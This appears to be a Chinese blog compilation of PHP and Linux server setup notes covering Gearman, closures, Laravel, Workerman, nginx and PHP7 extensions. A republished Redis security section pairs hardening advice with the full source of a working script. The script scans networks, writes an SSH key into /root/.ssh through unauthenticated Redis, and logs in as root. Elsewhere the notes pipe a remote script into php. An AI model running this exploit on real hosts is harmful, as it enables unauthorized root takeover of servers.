标记镜像:docker tag [OPTIONS] IMAGE[:TAG] [REGISTRYHOST/][USERNAME/]NAME[:TAG]

top

unpause

update

version

volume

wait

描述

提到异步并发,phper往往会想到swoole,但是其仅支持cli模式的特性,以及比较难读的文档,却总是令人却步。此时,使用gearman也许是个不错的选择。

gearman使用场景

gearman是异步工具,当后端在处理一些用时较长且不需即时回调的请求的时候,异步IO可以有效提高响应速度。比如:后台发送邮件、发送短信验证码、存储行为日志等等。
而且,gearman支持非cli模式,这意味着基于TCP协议的接口调用也可以进行异步请求了。

gearman安装

可以参考这篇博客《CenOS7环境安装PHP7扩展

(以下操作均在命令行模式下运行)

  • 安装german

    yum install -y gearman-server gearmand

  • 安装必备的依赖

    yum install -y php-devel php-pear httpd-devel libgearman libgearman-devel

  • 下载gearman-php扩展

    cd /usr/src ; git clone https://github.com/wcgallego/pecl-gearman.git;

  • 编译安装扩展 ( phpize路径视php环境安装时具体设置而定,可参考《Centos7安装nginx+php7运行环境》)

    cd pecl-gearman/
    /usr/local/php7/bin/phpize
    ./configure --with-php-config=/usr/local/php7/bin/php-config
    make;
    make install
    
  • 修改php.ini

    vim /usr/local/php7/lib/php.ini

  • 在END前加上 extension=gearman.so;

  • 重启php-fpm

    service php-fpm restart

  • 启动gearman

    gearmand -d

正式使用前的准备

  • 从github下载,地址: https://github.com/AxiosCros/PhalApi-Gearman
  • 将Gearman目录复制到phalapi框架中的Library目录中
  • 根据项目情况修改Gearman/gearman-server.php文件(同phalapi的入口文件)
  • 修改Phalapi框架的应用配置文件Config/app.php,添加如下配置

    'gearman'=>array(
          "servers"=>"127.0.0.1:4730",
          "task"=>array(
              'testTask'         =>  "Test.task",
          )
      ),
    
  • 运行Gearman/run.sh

    sh run.sh 1 #运行后会在Library/Gearman/目录下生成一个nohup.out文件,也就是gearman运行时的输出文件。最后的参数 1 为生成1个worker

基于PhalApi的使用

  • 入口注册gearman服务

    DI()->gearman = new Gearman_Lite(DI()->config->get('app.gearman'));

  • 调用gearman扩展的task方法,如:

    DI()->gearman->task('default.index',$data); //其中default.index是要执行task任务的接口,$data是要传入的参数

  • 接收gearman异步请求中的参数时,可以使用phalapi的 DI()->request->getAll();方法

测试实例

  • 部署PhalApi-example并运行gearman,(参考#正式使用前的准备)
  • 打开一个终端窗口(A),观察gearman输出文件,

    tail -f Library/Gearman/nohup.out
    
  • 另外再打开一个终端窗口(B),查看worker状态

    watch -n 1 "(echo status; sleep 0.1) | nc 127.0.0.1 4730"
    
  • 访问Index.index接口

  • 然后观察,最开始在B终端会看到有job正在执行,然后在A终端中会出现gearman的输出结果

转自《php 5.3新增的闭包语法介绍function() use() {}》

以下内容有部分修改

<?php
function callback($callback) {
    $callback();
}
echo "<br />==================1====================<br />";
//输出: This is a anonymous function.<br />/n
//这里是直接定义一个匿名函数进行传递, 在以往的版本中, 这是不可用的.
//现在, 这种语法非常舒服, 和JavaScript语法基本一致, 之所以说基本呢, 需要继续向下看
//结论: 一个舒服的语法必然会受欢迎的.
callback(function() {
    print "This is a anonymous function.<br />/n";
});
echo "<br />==================2====================<br />";
//输出: This is a closure use string value, msg is: Hello, everyone.<br />/n
//这里首先定义了一个闭包, 这次户口本上有名字了...
//use, 一个新鲜的家伙...
//众所周知, 闭包: 内部函数使用了外部函数中定义的变量.
//在PHP新开放的闭包语法中, 我们就是用use来使用闭包外部定义的变量的.
//这里我们使用了外部变量$msg, 定义完之后, 又对其值进行了改变, 闭包被执行后输出的是原始值  
//结论: 以传值方式传递的基础类型参数, 闭包use的值在闭包创建是就确定了.  
$msg = "Hello, everyone";
$callback = function () use ($msg) {
    print "This is a closure use string value, msg is: $msg. <br />/n";
};
$msg = "Hello, everybody123123";
callback($callback);
echo "<br />=================3=====================<br />";
//输出: This is a closure use string value lazy bind, msg is: Hello, everybody.<br />/n
//换一种引用方式, 我们使用引用的方式来use
//可以发现这次输出是闭包定义后的值...
//这个其实不难理解, 我们以引用方式use, 那闭包use的是$msg这个变量的地址
//当后面对$msg这个地址上的值进行了改变之后, 闭包内再输出这个地址的值时, 自然改变了.
$msg = "Hello, everyone";
$callback = function () use (&$msg) {
    print "This is a closure use string value lazy bind, msg is: $msg. <br />/n";
};
$msg = "Hello, everybody";
callback($callback);

echo "<br />==================4====================<br />";
//输出: This is a closure use object, msg is: Hello, everyone.<br />/n
//闭包中输出的是之前被拷贝的值为Hello, everyone的对象, 后面是对$obj这个名字的一个重新赋值.
//可以这样考虑
//1. obj是对象Hello, everyone的名字
//2. 对象Hello, everyone被闭包use, 闭包产生了一个对Hello, everyone对象的引用
//3. obj被修改为Hello, everybody这个对象的名字
//4. 注意, 是名字obj代表的实体变了, 而不是Hello, everyone对象, 那自然闭包的输出还是前面的Hello, everyone
$obj = (object) "asdfasdfas";
var_dump($obj);
$callback = function () use (&$obj) {
    print "This is a closure use object, msg is: {$obj->scalar}. <br />/n";
};
$obj = (object) "Hello, everybody";
callback($callback);
echo "<br />===================5===================<br />";
//输出: This is a closure use object, msg is: Hello, everybody.<br />/n
//还是按照上面的步骤, 按部就班的来吧:
//1. obj名字指向Hello, everyone对象
//2. 闭包产生一个引用指向Hello, everyone对象
//3. 修改obj名字指向的对象(即Hello, everyone对象)的scalar值
//4. 执行闭包, 输出的自然是Hello, everybody, 因为其实只有一个真正的对象
$obj = (object) "Hello, everyone";
$callback = function () use ($obj) {
    print "This is a closure use object, msg is: {$obj->scalar}. <br />/n";
};
$obj->scalar = "Hello, everybod12312y";
callback($callback);
echo "<br />===================6===================<br />";
//输出: This is a closure use object lazy bind, msg is: Hello, everybody.<br />/n
//闭包引用的是什么呢? &$obj, 闭包产生的引用指向$obj这个名字所指向的地址.
//因此, 无论obj怎么变化, 都是逃不脱的....
//所以, 输出的就是改变后的值
$obj = (object) "Hello, everyone";
$callback = function () use (&$obj) {
    print "This is a closure use object lazy bind, msg is: {$obj->scalar}. <br />/n";
};
$obj = (object) "Hello, everybody";
callback($callback);
echo "<br />================7======================<br />";
/**
 * 一个利用闭包的计数器产生器
 * 这里其实借鉴的是<a href="http://lib.csdn.net/base/11" class='replace_word' title="Python知识库" target='_blank' style='color:#df3434; font-weight:bold;'>Python</a>中介绍闭包时的例子...
 * 我们可以这样考虑:
 *      1. counter函数每次调用, 创建一个局部变量$counter, 初始化为1.
 *      2. 然后创建一个闭包, 闭包产生了对局部变量$counter的引用.
 *      3. 函数counter返回创建的闭包, 并销毁局部变量, 但此时有闭包对$counter的引用,
 *          它并不会被回收, 因此, 我们可以这样理解, 被函数counter返回的闭包, 携带了一个游离态的
 *          变量.
 *      4. 由于每次调用counter都会创建独立的$counter和闭包, 因此返回的闭包相互之间是独立的.
 *      5. 执行被返回的闭包, 对其携带的游离态变量自增并返回, 得到的就是一个计数器.
 * 结论: 此函数可以用来生成相互独立的计数器.
 */
function counter() {
    $counter = 1;
    return function() use(&$counter) {return $counter ++;};
}
$counter1 = counter();
$counter2 = counter();
echo "counter1: " . $counter1() . "<br />/n";
echo "counter1: " . $counter1() . "<br />/n";
echo "counter1: " . $counter1() . "<br />/n";
echo "counter1: " . $counter1() . "<br />/n";
echo "counter2: " . $counter2() . "<br />/n";
echo "counter2: " . $counter2() . "<br />/n";
echo "counter2: " . $counter2() . "<br />/n";
echo "counter2: " . $counter2() . "<br />/n";

转自《请务必注意 Redis 安全配置,否则将导致轻松被入侵》,内容有部分修改

修复建议

禁止一些高危命令

修改 /etc/redis.conf 文件,添加

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

来禁用远程修改 DB 文件地址

以低权限运行 Redis 服务

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

为 Redis 添加密码验证

修改 redis.conf 文件,添加

requirepass mypassword #注意mypassword是密码,不是命令的一部分

禁止外网访问 Redis

修改 redis.conf 文件,添加或修改

bind 127.0.0.1#如果需要外网访问,则将这行注释掉

使得 Redis 服务只在当前主机可用

扫描工具

使用说明

    #以Ubuntu为例
    su
    # Requirements
    apt-get install redis-server expect zmap

    git clone https://github.com/qingxp9/yyfexploit
    cd yyfexploit/redis

    # 扫描6379端口
    # 如果你要扫内网,把/etc/zmap/zmap.conf中blacklist-file这一行注释掉
    zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt

    # Usage
    ./redis.sh ip.txt

    #查看扫描结果
    cat ip.txt

    #centos下安装
    yum -y install zmap

最后,将会生成几个txt文件记录结果
其中:
runasroot.txt 表示redis无认证,且以root运行
noauth.txt 表示redis无认证,但以普通用户运行
rootshell.txt 已写入公钥,可直接以证书登录root用户

像这样:

ssh -i id_rsa root@x.x.x.x

工具源代码

   #!/bin/sh
    if [ $# -eq 1  ]
    then
      ip_list=$1

      ##create id_rsa
      echo "****************************************Create id_rsa file"

      expect -c "
        spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"
        expect {
            \"*passphrase): \" {
                exp_send \"\r\"
                exp_continue
            }
            \"*again: \" {
                exp_send \"\r\"
            }
            \"*y/n)? \" {
                exp_send \"n\r\"
            }
        }
        expect eof
      "

      echo "\n\n****************************************Attack Targets"
      touch noauth.txt runasroot.txt rootshell.txt haveauth.txt
      i=0
      cat $ip_list | while read ip
      do
        i=`expr $i + 1`;
        #write id_rsa.pub to remote
        echo "*****${i}***connect to remote ${ip} redis "

        expect -c "
          set timeout 3
          spawn redis-cli -h $ip config set dir /root/.ssh/
          expect {
            \"OK\"                        { exit 0 }
            \"ERR Changing directory: Permission denied\"         { exit 1 }
            timeout                       { exit 2 }
            \"(error) NOAUTH Authentication required\"         { exit 3 }
          }
        "

        case $? in
            0)  echo "run redis as root"
                echo $ip >> noauth.txt
                echo $ip >> runasroot.txt
            ;;
            1)  echo "not run redis as root\n\n\n"
                echo $ip >> noauth.txt
                continue
            ;;
            2)  echo "connect timeout\n\n\n"
                continue
            ;;
            3)  echo "Have Auth\n\n\n"
                echo $ip >> haveauth.txt
                continue
            ;;
        esac

        (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
        cat foo.txt | redis-cli -h $ip -x set 1
        redis-cli -h $ip config set dir /root/.ssh/
        redis-cli -h $ip config set dbfilename "authorized_keys"
        redis-cli save

        #login test
        echo "#try to login"
        expect -c "
          set timeout 5
          spawn ssh -i id_rsa root@$ip echo \"yyf\"
          expect {
            \"*yes/no\"     { send \"yes\n\"}

            \"*password\"   { send \"\003\"; exit 1 }
            \"yyf\"         { exit 0 }
            timeout         { exit 2 }
          }
          exit 4
        "

        exitcode=$?

        if [ $exitcode -eq 0 ]
        then
          echo "---------------${ip} is get root shell"
          echo $ip >> rootshell.txt
        fi

        echo "\n\n\n"
      done

      echo "##########Final Count##########"
      wc -l $ip_list
      echo "----------"
      wc -l noauth.txt
      wc -l runasroot.txt
      wc -l rootshell.txt
      echo "----------"
      wc -l haveauth.txt

    else
      echo "usage: ./redis.sh ip.txt"
    fi

#操作系统内核信息
uname -a

#Linux查看cpu逻辑CPU个数(核心数)与CPU型号
cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c

#查看cpu个数(一个cpu可能有多个核心)
cat /proc/cpuinfo | grep physical | uniq -c

#查看版本说明当前CPU运行在32bit还是64bit模式下
getconf LONG_BIT

#完整查看cpu物理信息
dmidecode | grep -A48 'Processor Information$'

#查看进程,按内存从大到小
ps -e -o "%C : %p : %z : %a"|sort -nr

#查看剩余内存
free -m |grep "Mem" | awk "{print $2}"

#查看磁盘占用
df -h

#查看系统种类及版本号等信息
lsb_release -a

#获取服务器出口ip
curl http://1212.ip138.com/ic.asp

#查看本地ip
ip addr show eth0 | grep inet | awk '{ print $2; }' | sed 's/\/.*$//'

部署环境

Centos7 / nginx1.10 / php7.0.9 / composer1.1.3

安装或更新composer

#安装
yum install composer
#更新
yum update composer

坑一:composer镜像

由于大环境的原因,安装composer需要采用国内镜像

#执行下面这个命令,更换镜像
composer config -g repo.packagist composer https://packagist.phpcomposer.com

#更换镜像后,执行下面的命令安装laravel
composer global require "laravel/installer"

坑二:环境变量

查了很多网上的还有laravel官方文档,都说是要把~/.composer/vendor/bin加到环境变量去,结果我加也加了,执行laravel命令的时候,还是command not found,最后我发现,原来~/.composer/vendor/bin目录根本就不存在,而应该是~/.config/composer/vendor/bin。

vim ~/.bash_profile
# 修改PATH
PATH=$PATH:$HOME/bin:~/.config/composer/vendor/bin

#或者用如下方法
vim ~/.bashrc
# 增加下面这句
alias laravel='~/.config/composer/vendor/bin/laravel'

#运行laravel命令查看
laravel
Laravel Installer version 1.3.3

Usage:
  command [options] [arguments]

Options:
  -h, --help            Display this help message
  -q, --quiet           Do not output any message
  -V, --version         Display this application version
      --ansi            Force ANSI output
      --no-ansi         Disable ANSI output
  -n, --no-interaction  Do not ask any interactive question
  -v|vv|vvv, --verbose  Increase the verbosity of messages: 1 for normal output, 2 for more verbose output and 3 for debug

Available commands:
  help  Displays help for a command
  list  Lists commands
  new   Create a new Laravel application.

坑三:目录权限问题

这个问题,在官方文档里有提到,就是storage/和bootstrap/cache/这两个目录要用写权限,其它有文档里没有提到bootstarp/cache目录,而是说public/upload目录给予写权限。这个可能是laravel版本问题,我安装的是最新版laravel5.2,这个版本不支持php7。

$ chmod 777 -R storage/
$ chmod 777 -R bootstrap/cache/
# 其实这种方式并不好
# 我是将这两个文件夹的所属设置为php运行的用户
# 这样在php运行的时候自然就对这两个目录有写权限
# 而不用全部开放权限

坑四:~/.config/composer/vendor目录没有

在多次安装中发现,有时~/.config/composer/目录下没有vendor文件夹,只有composer.json文件

$ cd ~/.config/composer/
$ composr install
#执行上面两句后,就有vendor文件夹了

坑五:卸载不干净,遗留缓存,造成重新安装laravel时出错

composer安装时会产生缓存,重新安装时,要清理掉这些缓存文件才能继续安装。

前言

本扩展旨在让socket编程,像用PhalApi开发接口一样简单,让开发者只需专注于业务逻辑,创建相应的Server类并编写action方法即可。此外,Server层还可以和其它接口共用Domain层和Model层,实现功能上的复用。

准备工作

基本运行环境

CentOS7、php7

workman运行所需扩展

# 检查环境
curl -Ss http://www.workerman.net/check.php | php

如果不全是ok的话,可以参考我的这篇博客安装php7运行环境
Centos7安装nginx+php7运行环境

安装PhalApi-Workman扩展

  • 从github上下载PhalApi-Workman扩展,
  • 拷贝Workman文件夹至PhalApi的Library目录下
  • 拷贝start_workman.php文件至PhalApi的根目录,与Demo同级
  • 拷贝Server文件夹至接口项目目录中,与Domain等同级(其中Common.php与Container.php为必备文件)

设置配置文件

打开Config下的app.php配置文件

//添加以下内容
'workman'=>array(
        'app_name'      => "my_app",                  // 项目应用名称
        'socket_host'   => "tcp://0.0.0.0:1212",      // socket连接端口地址
        'service_port'  => "1238",                    // 服务注册端口
        'lan_ip'        => "127.0.0.1",               // 本机ip,分布式部署时使用通信ip
        'process_count' => 4,                         // 进程数
        'start_port'    => "2900",                    // 内部通讯起始端口
        'heartbeat'     => 10,                        // 心跳间隔时间,单位秒
        'heartbeat_data'=> '{"type":"ping"}',        // 心跳数据
        'default_server'=> "Index",                  // 客户端连接时或消息中没有server参数时,默认的消息处理类
        'default_action'=> "index",                  // 客户端连接时或消息中没有action参数时,默认的消息处理方法
    )

编写入口文件

在Public目录下创建socket.php文件,代码内容如下

<?php
require_once dirname(__FILE__) . '/init.php';
//装载你的接口
DI()->loader->addDirs('Demo');

使用教程

启动或停止workman

#以debug(调试)方式启动
php start_workman.php start

#以daemon(守护进程方式启动
php start_workman.php start -d

#以nohup方式启动
nohup php start_workman.php start -d

#停止
php start_workman.php stop

#重启
php start_workman.php restart

#平滑重启
php start_workman.php reload

#查看状态
php start_workman.php status

#强行杀死所有workerman进程(要求workerman版本>=3.2.2)
php start_workman.php kill

#nohup启动
nohup [启动命令]

debug和daemon方式区别

  • 以debug方式启动,代码中echo、var_dump、print等打印函数会直接输出在终端。
  • 以daemon方式启动,代码中echo、var_dump、print等打印会默认重定向到/dev/null文件,可以通过设置Worker::$stdoutFile = '/your/path/file';来设置这个文件路径。
  • 以debug方式启动,终端关闭后workerman会随之关闭并退出。
  • 以daemon方式启动,终端关闭后workerman继续后台正常运行。
  • 具体请参考workman文档

消息发送规则

客户端发送消息格式

 {
  "server": "",
  "action": "",
  "data": {

  },
 }

其中server是消息处理类的名称,action是类中方法的名称,data为传送的数据。

服务端回调消息格式

消息格式自定义,在方法中回调就可以了

回调数据前,需调用setTarget(设置目标类型,0当前用户,1特定用户id,2多个用户,3全部在线用户),setClient(setTarget为0或3时,不用调用该方法,其余情况需调用该方法设置目标id)

修改linux内核

ulimit -n 65535

nginx优化

access日志优化Error日志优化,减少磁盘IO

worker_processes auto; #设置为cpu核心数或者auto

worker_rlimit_nofile 65535; #与ulimit保持一致

events

events{
  worker_connections 65535; #单进程最大连接数
}

http

http{
  server_names_hash_bucket_size 128; #服务器名字的hash表大小
  client_header_buffer_size 32k; #上传文件大小限制
  large_client_header_buffers 4 64k; #设定请求缓
  client_max_body_size 8m; #设定请求缓

  fastcgi_connect_timeout 300;
  fastcgi_send_timeout 300;
  fastcgi_read_timeout 300;
  fastcgi_buffer_size 64k;
  fastcgi_buffers 4 64k;
  fastcgi_busy_buffers_size 128k;
  fastcgi_temp_file_write_size 128k;

}

相关路径

php路径: /usr/local/php7/
phpize路径: /usr/local/php7/bin/phpize
php-config路径: /usr/local/php7/bin/php-config
php.ini路径: /usr/local/php7/lib/php.ini
具体路径视安装时的配置而定

xdebug

https://xdebug.org/download.php

cd /usr/src
wget https://xdebug.org/files/xdebug-2.5.5.tgz
tar -zxvf xdebug-2.5.5.tgz
cd xdebug-2.5.5
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install
# 修改php.ini
vim /usr/local/php7/lib/php.ini
# 添加如下配置
[xdebug]
zend_extension=xdebug.so;
xdebug.remote_enable=on;
xdebug.remote_handler=dbgp;
xdebug.remote_host=localhost;
xdebug.remote_port=9100;
xdebug.idekey=PHPSTORM;

# 重启php-fpm
service php-fpm restart

php --version
# 看到有with Xdebug v2.5.5就是成功了

redis

下载支持php7的redis扩展并编译安装

cd /usr/src
git clone https://github.com/phpredis/phpredis.git
cd phpredis
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install

# 修改php.ini
vim /usr/local/php7/lib/php.ini
# 在END前加上
extension=redis.so;

# 重启php-fpm
service php-fpm restart

swoole

git clone https://github.com/swoole/swoole-src.git
cd swoole-src
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make 
make install

#修改php.ini
vim /usr/local/php7/lib/php.ini
#在END前加上
extension=swoole.so;


# 重启php-fpm
service php-fpm restart

# 查看swoole版本
php -r 'echo SWOOLE_VERSION;'

memcached

cd /usr/src
git clone https://github.com/php-memcached-dev/php-memcached.git
cd php-memcached/
git checkout php7
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make && make install

#修改php.ini
vim /usr/local/php7/lib/php.ini
#在END前加上
extension=memcached.so;

# 重启php-fpm
service php-fpm restart

gearman

yum install -y gearman-server gearmand
yum install -y php-devel php-pear httpd-devel libgearman libgearman-devel
cd /usr/src
git clone https://github.com/wcgallego/pecl-gearman.git
cd pecl-gearman/
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install

#修改php.ini
vim /usr/local/php7/lib/php.ini
#在END前加上
extension=gearman.so;

# 重启php-fpm
service php-fpm restart

#启动gearman
gearmand -d

mongoDB

#安装mongodb-php扩展
/usr/local/php7/bin/pecl install mongodb

#编辑php.ini文件
vim /usr/local/php7/lib/php.ini

#在最下面的END前加上
extension=mongodb.so;

service php-fpm restart

如果pecl安装mongodb扩展失败,可以手动下载mongdo扩展安装包

cd /usr/src/
wget https://pecl.php.net/get/mongodb-1.2.9.tgz
tar zxvf mongodb-1.2.9.tgz
cd mongodb-1.2.9
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install

phalcon7

sudo yum install php-devel php-mysql gcc libtool pcre-devel
cd /usr/src
git clone git://github.com/phalcon/cphalcon.git
cd cphalcon/build
sudo ./install

vim /usr/local/php7/lib/php.ini
extension=phalcon.so;
service php-fpm restart

yaf

/usr/local/php7/bin/pecl install yaf

vim /usr/local/php7/lib/php.ini

#在最下面的END前加上
extension=yaf.so;

service php-fpm restart

grpc

/usr/local/php7/bin/pecl install grpc

vim /usr/local/php7/lib/php.ini

#在最下面的END前加上
extension=grpc.so;

service php-fpm restart

安装redis

yum -y install redis

启动服务

systemctl start redis.service

停止服务

systemctl stop redis.service

重启服务

systemctl restart redis.service

检查状态

systemctl status redis.service

设置随系统启动

systemctl enable redis.service

关闭随系统启动

systemctl disable redis.service

PhalApi-Redis扩展常用方法

//注册redis服务
DI()->redis = new Redis_Lite(DI()->config->get('app.redis.servers'));

//存入永久的键值队
DI()->redis->set_forever(键名,值,库名);
//获取永久的键值队
DI()->redis->get_forever(键名, 库名);

//存入一个有时效性的键值队,默认600秒
DI()->redis->set_Time(键名,值,有效时间,库名);
//获取一个有时效性的键值队
DI()->redis->get_Time(键名, 库名);

//写入队列左边
DI()->redis->set_Lpush(队列键名,值, 库名);
//读取队列右边
DI()->redis->get_lpop(队列键名, 库名);
//读取队列右边 如果没有读取到阻塞一定时间(阻塞时间或读取配置文件blocking的值)
DI()->redis->get_Brpop(队列键名,值, 库名);

//删除一个键值队适用于所有
DI()->redis->del(键名, 库名);
//自动增长
DI()->redis->get_incr(键名, 库名);
//切换DB并且获得操作实例
DI()->redis->get_redis(键名, 库名);

安装

yum install -y libevent libevent-devel
yum install -y memcached

# 验证安装
memcached -h

# 加入启动列表
chkconfig memcached on

配置

vim /etc/sysconfig/memcached

#文件中内容如下
PORT="11211″           #端口
USER="memcached" #使用的用户名
MAXCONN="1024″    #同时最大连接数
CACHESIZE="64"      #使用的内存大小
OPTIONS=""             #附加参数

查看运行状态

memcached-tool 127.0.0.1:11211 stats

服务管理

service memcached start
service memcached stop
service memcached status

php-memcached扩展

cd /usr/src
git clone https://github.com/php-memcached-dev/php-memcached.git
cd php-memcached/
git checkout php7
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make && make install

#修改php.ini
vim /usr/local/php7/lib/php.ini
#在END前加上
extension=memcached.so;

# 重启php-fpm
service php-fpm restart

yum install -y python-setuptools python-setuptools-devel

easy_install pip

pip install ansible

  • 测试连通性
ansible web -m ping -o
  • 执行shell语句
ansible web -m shell -a "hostname"
  • 下发文件
ansible web -m copy -a 'src=a.test dest=/root/a.test owner=root group=root mode=644 backup=yes'
  • 包和服务管理
ansible web -m yum -a 'name=httpd state=latest' -f 5 -o
  • 用户管理
echo ansible | openssl passwd -1 stdin
[root@console ~]# $1$LT8KCvCG$meIJy2/Ns2KAGmD5IZfkW0


ansible web -m user -a 'name=shencan password="$1$LT8KCvCG$meIJy2/Ns2KAGmD5IZfkW0"' -f 5 -o
ssh < IP > -l shencan

准备工作

yum update -y
yum install -y epel-release
# 如果找不到epel-release包,则进行下面两步操作
# wget http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-8.noarch.rpm
# rpm -ivh epel-release-7-8.noarch.rpm

开始安装

  • 安装nginx
yum install -y nginx
# 配置开机启动
systemctl enable nginx.service
  • 防火墙开启80端口
 yum install -y firewalld firewall-config
 systemctl start firewalld.service
 firewall-cmd --permanent --add-service=http
 firewall-cmd --permanent --add-service=https #如果用不到https服务,此步跳过
 firewall-cmd --permanent --zone=trusted --add-port=80/tcp
 firewall-cmd --permanent --zone=trusted --add-port=443/tcp #如果用不到443端口,此步跳过
 firewall-cmd --reload
 firewall-cmd --permanent --zone=trusted --list-port
  • 安装必备的依赖
yum install -y \
gcc-c++ autoconf \
libjpeg libjpeg-devel libpng \
libpng-devel freetype freetype-devel \
libpng libpng-devel libxml2 libxml2-devel \
zlib zlib-devel glibc glibc-devel \
glib2 glib2-devel bzip2 bzip2-devel \
ncurses curl openssl-devel \
gdbm-devel db4-devel libXpm-devel \
libX11-devel gd-devel gmp-devel \
readline-devel libxslt-devel \
expat-devel xmlrpc-c xmlrpc-c-devel \
libicu-devel libmcrypt-devel \
libmemcached-devel \
curl-devel
  • 下载php7

官方下载地址 http://php.net/downloads.php

cd /usr/src/
wget http://nz2.php.net/distributions/php-7.1.5.tar.bz2 -O php7.bz2
tar -xjf php7.bz2
mv php-7.1.5 php7
cd /usr/src/php7

#注意,因为php7.1以后[]不支持字符串操作,凡是这种形式的$arr[]=(string)$someString; 的写法
#在php7.1版本都以后会报"[] operator not supported for strings" 的错误
  • 编译php
# 视情况增删参数,以下为一些常用的
./configure --prefix=/usr/local/php7 \
--with-mysql-sock --with-mysqli \
--enable-fpm --enable-soap \
--with-libxml-dir --with-openssl \
--with-mcrypt --with-mhash \
--with-pcre-regex --with-zlib \
--enable-bcmath --with-iconv \
--with-bz2 --enable-calendar \
--with-curl --with-cdb --enable-dom \
--enable-exif --enable-fileinfo \
--enable-filter --with-pcre-dir \
--enable-ftp --with-gd \
--with-openssl-dir --with-jpeg-dir \
--with-png-dir --with-zlib-dir \
--with-freetype-dir \
--enable-gd-native-ttf \
--enable-gd-jis-conv --with-gettext \
--with-gmp --with-mhash \
--enable-json --enable-mbstring \
--enable-mbregex \
--enable-mbregex-backtrack \
--with-libmbfl --with-onig \
--enable-pdo --with-pdo-mysql \
--with-zlib-dir --with-readline \
--enable-session --enable-shmop \
--enable-simplexml --enable-sockets \
--enable-sysvmsg --enable-sysvsem \
--enable-sysvshm --enable-wddx \
--with-libxml-dir --with-xsl \
--enable-zip \
--enable-mysqlnd-compression-support \
--with-pear --enable-intl --enable-pcntl
  • 安装php
make
make install
  • 测试是否安装成功
/usr/local/php7/bin/php -v
  • 做软链,以便直接用php运行
 ln -sf /usr/local/php7/bin/php /usr/local/bin/php
 ln -sf /usr/local/php7/bin/php-config /usr/bin/php-config
  • 验证
php -v
  • 复制配置文件
cp /usr/src/php7/php.ini-development /usr/local/php7/lib/php.ini
  • 配置php-fpm
cp /usr/local/php7/etc/php-fpm.conf.default /usr/local/php7/etc/php-fpm.conf
cp /usr/local/php7/etc/php-fpm.d/www.conf.default /usr/local/php7/etc/php-fpm.d/www.conf
cp /usr/src/php7/sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm
chmod +x /etc/init.d/php-fpm
  • 启动php-fpm
service php-fpm start
# 配置开机启动
chkconfig php-fpm on

相关配置

配置nginx

  • 修改nginx.conf文件
vi /etc/nginx/nginx.conf

注意:server 中需添加root 配置,否则$document_root无效,下面的是/etc/nginx/nginx.conf示例配置

# /etc/nginx/nginx.conf
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log;
worker_rlimit_nofile 65535;
events {
    worker_connections 1024;
}

http {
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';
    #access_log  /var/log/nginx/access.log  main;

    sendfile            on;
    tcp_nopush          on;
    tcp_nodelay         on;
    keepalive_timeout   65;
    types_hash_max_size 2048;

    client_max_body_size 20m;

    include             /etc/nginx/mime.types;
    default_type        application/octet-stream;

    # Load modular configuration files from the /etc/nginx/conf.d directory.
    # See http://nginx.org/en/docs/ngx_core_module.html#include
    # for more information.
    #include /etc/nginx/conf.d/*.conf;

    server {
        listen       80 default_server;
        server_name  _;
        root         /usr/share/nginx/html;

        # Load configuration files for the default server block.
        #include /etc/nginx/default.d/*.conf;

        location / {
        }

        error_page 404 /404.html;
            location = /40x.html {
        }

        error_page 500 502 503 504 /50x.html;
            location = /50x.html {
        }
        location  ~ \.php(/|$) {
            fastcgi_pass 127.0.0.1:9000;
            fastcgi_index index.php;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
            include fastcgi_params;
        }
    }
    include vhosts/*.conf;
}
  • 重启nginx
service nginx restart
  • 在web目录下新建一个php文件
echo '<?php phpinfo();' > /usr/share/nginx/html/info.php

nginx虚拟机配置

以 www.test.com 为例

# 编辑虚拟机配置文件 vhosts若不存在则需创建
mkdir /etc/nginx/vhosts
vi /etc/nginx/vhosts/test.com.conf

输入以下内容

server {
        listen       80;
        server_name  www.test.com; # 网站域名
        root   "/usr/share/nginx/html/test";  #网站路径
        location / {
            index  index.html index.htm index.php;
            if (!-e $request_filename) { #地址重写规则,可在地址栏中隐藏index.php
                rewrite  ^(.*)$  /index.php?s=$1  last;
                break;
            }
            #autoindex  on;  # 自动索引
        }
        location ~ \.php(.*)$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }
}

安装php7扩展

  • 以memcached举例,下载php-memcached,从github上下载,记住一定要选择对应的php7分支
cd /usr/src
git clone https://github.com/php-memcached-dev/php-memcached.git
cd php-memcached/
git checkout php7
/usr/local/php7/bin/phpize
 ./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install
  • 修改php.ini
vi /usr/local/php7/lib/php.ini
#在END前加上
extension=memcached.so
  • 保存并退出,重启php-fpm
service php-fpm restart
  • 再次访问info.php,就可以看到memcached已经安装成功了。

安装mysql

sudo yum -y install mariadb-server mariadb
systemctl start mariadb.service  #开启
systemctl enable mariadb.service #开机启动服务

# 查看
mysql --version

# 初始化
mysql_secure_installation
#第一次初始化时,密码为空,直接敲空格即可

#进入mysql控制台
mysql -u root -p
# 然后输入刚刚初始化时的密码

#创建可远程登陆的管理员账户(进行mysql命令行模式)
